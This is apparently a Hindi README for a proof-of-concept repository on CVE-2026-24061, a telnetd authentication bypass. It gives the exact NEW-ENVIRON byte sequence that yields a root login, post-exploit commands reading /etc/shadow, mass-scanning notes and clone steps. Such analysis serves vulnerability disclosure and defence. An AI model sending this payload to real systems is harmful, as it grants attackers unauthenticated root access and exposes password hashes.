
GNU InetUtils telnetd - NEW-ENVIRON वेरिएबल इंजेक्शन के माध्यम से बिना प्रमाणीकरण के रिमोट रूट एक्सेस।
GNU InetUtils telnetd - NEW-ENVIRON वेरिएबल इंजेक्शन के माध्यम से बिना प्रमाणीकरण के रिमोट रूट
अवलोकन - तकनीकी विश्लेषण - प्रभावित संस्करण - उपयोग - उपचार और शमन - संदर्भ
CVE-2026-24061 GNU InetUtils के भाग के रूप में वितरित telnetd डेमॉन में एक गंभीर प्रमाणीकरण बाईपास भेद्यता है। यह दोष प्रारंभिक प्रोटोकॉल हैंडशेक के दौरान टेलनेट NEW-ENVIRON विकल्प (RFC 1572) के प्रबंधन में निहित है।
मूल कारण login(1) प्रोग्राम को पास करने से पहले क्लाइंट-आपूर्ति किए गए पर्यावरण चरों को साफ़ करने में विफलता है। जब टेलनेट डेमॉन NEW-ENVIRON IS उप-वार्ता पैकेट प्राप्त करता है जिसमें वेरिएबल USER का मान -f root होता है, तो यह इस अस्वच्छ मान को सीधे सिस्टम login बाइनरी को पास कर देता है।
उन प्रणालियों पर जहां login -f फ्लैग (पासवर्ड सत्यापन के बिना फोर्स लॉगिन) स्वीकार करता है, इसके परिणामस्वरूप रिमोट हमलावर को बिना प्रमाणीकरण के रूट सत्र प्रदान किया जाता है।
इस भेद्यता वर्ग का ऐतिहासिक उदाहरण है: SysV telnetd में CVE-2001-0797 और 1994 का प्रसिद्ध Linux telnetd -f बाईपास, जो विशेषाधिकार प्राप्त बाइनरीज़ को पास किए गए पर्यावरण-स्रोत तर्कों को साफ़ करने की समान मौलिक विफलता का शोषण करते थे।
कोई क्रेडेंशियल आवश्यक नहीं। कोई पूर्व पहुंच आवश्यक नहीं। नेटवर्क पैकेट अनुक्रम का एक ही सेट रूट प्राप्त करता है।
GNU InetUtils telnetd क्लाइंट-आपूर्ति किए गए पर्यावरण चरों को एकत्र करने के लिए NEW-ENVIRON (विकल्प कोड 0x27, RFC 1572 के अनुसार) उप-वार्ता को संसाधित करता है। ये चर एक तर्क वेक्टर में इकट्ठे किए जाते हैं और login(1) को स्पॉन करते समय execve(2) को पास किए जाते हैं।
भेद्यता निम्नानुसार ट्रिगर होती है:
IAC DO NEW-ENVIRON भेजता है, क्लाइंट से पर्यावरण चर मांगता है।IAC WILL NEW-ENVIRON के साथ उत्तर देता है।IAC SB NEW-ENVIRON SEND IAC SE के साथ अनुसरण करता है।IAC SB NEW-ENVIRON IS
VAR "USER" VALUE "-f root"
IAC SE
telnetd login कॉल को login -f root के रूप में निर्मित करता है।login(1) -f को "फोर्स लॉगिन, प्रमाणीकरण छोड़ें" के रूप में व्याख्या करता है और निर्दिष्ट उपयोगकर्ता (root) को पासवर्ड की आवश्यकता के बिना लॉग इन करता है।| चरण | दिशा | टेलनेट बाइट्स (हेक्स) | अर्थ |
|---|---|---|---|
| 1 | S -> C | FF FD 27 | IAC DO NEW-ENVIRON |
| 2 | C -> S | FF FB 27 | IAC WILL NEW-ENVIRON |
| 3 | S -> C | FF FA 27 01 FF F0 | IAC SB NEW-ENVIRON SEND IAC SE |
| 4 | C -> S | FF FA 27 00 00 55 53 45 52 01 2D 66 20 72 6F 6F 74 FF F0 | IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE |
-f root क्यों काम करता हैकई Linux प्रणालियों पर login(1) बाइनरी "पूर्व-प्रमाणित" लॉगिन के लिए -f <user> फ्लैग स्वीकार करती है, जिसका उपयोग ऐतिहासिक रूप से टर्मिनल मल्टीप्लेक्सर्स और rlogin द्वारा किया जाता था। जब telnetd अपना exec कॉल बनाता है और पर्यावरण चर मानों में अग्रणी हाइफ़न या विकल्प-जैसे स्ट्रिंग्स को हटाने या मान्य करने में विफल रहता है, तो यह अनजाने में हमलावर-नियंत्रित फ्लैग्स को सीधे login को पास कर देता है।
प्रभावी कॉल बन जाती है:
execve("/bin/login", ["login", "-f", "root"], envp);
हमलावर कमजोर telnetd (पोर्ट 23)
| |
|------- TCP SYN (पोर्ट 23) ----------------------->|
|<------ TCP SYN-ACK -------------------------------|
|------- TCP ACK ---------------------------------->|
| |
|<------ टेलनेट बैनर + IAC DO NEW-ENVIRON --------|
|------- IAC WILL NEW-ENVIRON --------------------->|
|<------ IAC SB NEW-ENVIRON SEND IAC SE ------------|
| |
|------- IAC SB NEW-ENVIRON IS |
| VAR "USER" VALUE "-f root" IAC SE -------->|
| |
| [telnetd कॉल करता है: login -f root] |
| |
|<------ रूट शेल प्रॉम्प्ट (#) ---------------------|
| |
|------- id; whoami; cat /etc/shadow -------------->|
|<------ uid=0(root) root /etc/shadow सामग्री -----|
पूर्वापेक्षाएँ:
telnetd (TCP/23 खुला) चला रही हैinetutils का अप्रचलित संस्करणlogin(1) बाइनरी -f फ्लैग का समर्थन करती है (अधिकांश Linux वितरणों पर मानक)| सॉफ्टवेयर | प्रभावित संस्करण | स्थिति |
|---|---|---|
| GNU InetUtils telnetd | <= 2.x (विशिष्ट पैच किया गया संस्करण निर्धारित किया जाना है) | कमजोर |
| अप्रचलित GNU inetutils वितरित करने वाले वितरण | विभिन्न | विक्रेता सलाह देखें |
जांचें कि क्या आपका वितरण पैच किया गया संस्करण भेजता है। कई आधुनिक प्रणालियों में टेलनेट डिफ़ॉल्ट रूप से अक्षम है; जोखिम के लिए स्पष्ट रूप से चल रहे
telnetdकी आवश्यकता होती है।
| मीट्रिक | मान |
|---|---|
| CVSS v3.1 आधार स्कोर | 9.8 (गंभीर) |
| हमला वेक्टर | नेटवर्क |
| हमला जटिलता | निम्न |
| आवश्यक विशेषाधिकार | कोई नहीं |
| उपयोगकर्ता सहभागिता | कोई नहीं |
| दायरा | अपरिवर्तित |
| गोपनीयता प्रभाव | उच्च |
| अखंडता प्रभाव | उच्च |
| उपलब्धता प्रभाव | उच्च |
| वेक्टर स्ट्रिंग | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ATT&CK ID | रणनीति | तकनीक | प्रासंगिकता |
|---|---|---|---|
| T1190 | प्रारंभिक पहुंच | सार्वजनिक-सामना करने वाले अनुप्रयोग का शोषण | नेटवर्क पर telnetd का प्रत्यक्ष शोषण |
| T1059 | निष्पादन | कमांड और स्क्रिप्टिंग इंटरप्रेटर | शोषण के बाद शेल निष्पादन |
| T1078.004 | विशेषाधिकार वृद्धि / रक्षा चोरी | वैध खाते: स्थानीय खाते | प्रमाणीकरण बाईपास एक वैध रूट सत्र उत्पन्न करता है |
| T1548 | विशेषाधिकार वृद्धि | उन्नयन नियंत्रण तंत्र का दुरुपयोग | PAM/प्रमाणीकरण को बायपास करने के लिए login -f फ्लैग का दुरुपयोग |
| T1046 | खोज | नेटवर्क सेवा खोज | PoC का बड़े पैमाने पर स्कैनिंग घटक |
आवश्यकताएँ: Python 3 (केवल मानक पुस्तकालय, शून्य बाहरी निर्भरताएँ)।
git clone https://github.com/franckferman/CVE_2026_24061.git
cd CVE_2026_24061
कोई pip install आवश्यक नहीं है। दोनों स्क्रिप्ट केवल Python मानक पुस्तकालय का उपयोग करती हैं।